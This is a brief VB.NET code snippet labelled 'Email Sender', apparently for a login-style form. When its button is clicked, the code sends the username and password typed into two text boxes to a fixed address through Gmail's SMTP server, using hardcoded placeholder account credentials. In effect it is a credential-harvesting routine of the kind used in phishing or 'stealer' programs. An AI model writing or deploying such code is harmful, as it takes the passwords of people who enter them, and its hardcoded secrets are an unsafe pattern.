Email Sender

Imports System.Net.Mail


Button:
Dim Mail As New MailMessage()
        Dim Smtpserver As New SmtpClient
        Smtpserver.Credentials = New Net.NetworkCredential("Program mail@gmail.com", "password to email")
        Smtpserver.Port = 587
        Smtpserver.Host = "Smtp.Gmail.com"
        Smtpserver.EnableSsl = True
        Smtpserver.EnableSsl = True
        Mail.To.Add("Email Odbiorcy")
        Mail.From = New MailAddress("UserName@gmail.com")
        Mail.Subject = "Email Subject"
        Mail.Body = "UserName:" & TextBox1.Text & "Password:" & TextBox2.Text
        Smtpserver.Send(Mail)